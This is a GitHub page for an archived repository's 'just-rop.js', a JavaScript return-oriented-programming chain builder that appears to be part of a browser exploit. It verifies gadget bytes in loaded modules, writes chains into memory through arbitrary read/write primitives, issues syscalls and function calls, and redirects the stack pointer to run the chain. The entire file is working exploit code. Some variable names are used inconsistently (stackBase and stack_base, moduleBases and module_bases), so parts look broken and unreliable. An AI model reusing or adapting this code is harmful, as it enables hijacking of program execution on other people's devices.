This repository has been archived by the owner on Oct 13, 2019. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 26
/
Copy pathjust-rop.js
137 lines (111 loc) · 4.25 KB
/
just-rop.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
function gadget(instructions, module, address) {
this.instructions = instructions;
this.relativeAddress = address;
this.checked = false;
this.check = function() {
if(!this.checked && this.instructions.length > 0) {
var i;
for(i = 0; i < this.instructions.length; i++) {
if(getU8(moduleBases[module] + address + i) != this.instructions[i]) {
return false;
}
}
// Check ends with ret
if(getU8(moduleBases[module] + address + this.instructions.length) != 0xc3) {
return false;
}
}
this.checked = true;
return true;
}
this.address = function() {
return moduleBases[module] + address;
}
}
function rop() {
var resp = getU64(stackBase + returnAddress);
this.data = stack_base + return_va + 0x420;
var chainAddress = stack_base - 0x20000;
var chainLength = 0;
var variableAddresses = [];
this.add = function() {
var i;
for(i = 0; i < arguments.length; i++) {
if(typeof(arguments[i]) === "string") {
if(gadgets[arguments[i]].check() == false) throw(gadgets[arguments[i]].relativeAddress);
setU64(chainAddress + chainLength, gadgets[arguments[i]].address());
}
else {
setU64(chainAddress + chainLength, arguments[i]);
}
chainLength += 8;
}
return chainLength;
}
this.add("pop rbp", stackBase + returnAddress + 0x1400);
this.syscall = function(name, systemCallNumber, arg1, arg2, arg3, arg4, arg5, arg6) {
console.log("syscall " + name);
this.add("pop rax", systemCallNumber);
if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1);
if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2);
if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3);
if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4);
if(typeof(arg5) !== "undefined") this.add("pop r8", arg5);
if(typeof(arg6) !== "undefined") this.add("pop r9", arg6);
this.add("mov r10, rcx and syscall");
}
this.call = function(name, module, address, arg1, arg2, arg3, arg4, arg5, arg6) {
console.log("call " + name);
if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1);
if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2);
if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3);
if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4);
if(typeof(arg5) !== "undefined") this.add("pop r8", arg5);
if(typeof(arg6) !== "undefined") this.add("pop r9", arg6);
this.add(module_bases[module] + address);
}
// Modifies rsi
this.write_rax = function(address) {
var valueAddress = this.add("pop rsi", address - 0x18) - 8;
this.add("mov [rsi+0x18], rax");
return valueAddress;
}
// Modifies rax
this.write_rdx = function(address) {
var valueAddress = this.add("pop rax", address - 0x1e8) - 8;
this.add("mov [rax+0x1e8], rdx");
return valueAddress;
}
this.read_rdi = function(address) {
var valueAddress = this.add("pop rdi", address - 0x48) - 8;
this.add("mov rdi, [rdi+0x48]");
return valueAddress;
}
this.execute = function(afterExecution) {
// Restore Stack Pointer
this.add("pop rax", resp);
this.write_rax(stackBase + returnAddress);
this.add("pop rsp", stackBase + returnAddress);
this.resolveVariables();
// Redirect Stack Pointer to our ROP chain
setU64(stackBase + returnAddress, gadgets["pop rsp"].address());
setU64(stackBase + returnAddress + 8, chainAddress);
setTimeout(function() {
if(afterExecution) afterExecution();
}, 1);
}
// Don't yet know where to store variables (depends on chainLength)
// wait until entire ROP chain written, and evaluate the address in this.resolveVariables()
this.write_rax_ToVariable = function(n) { variableAddresses.push({ number: n, address: this.write_rax(0), offset: -0x18 }); }
this.write_rdx_ToVariable = function(n) { variableAddresses.push({ number: n, address: this.write_rdx(0), offset: -0x1e8 }); }
this.read_rdi_FromVariable = function(n) { variableAddresses.push({ number: n, address: this.read_rdi(0), offset: -0x48 }); }
this.resolveVariables = function() {
var i;
for(i = 0; i < variableAddresses.length; i++) {
setU64(chainAddress + variableAddresses[i].address, chainAddress + chainLength + variableAddresses[i].offset + variableAddresses[i].number * 8);
}
}
this.getVariable = function(n) {
return getU64from(chainAddress + chainLength + n * 8);
}
}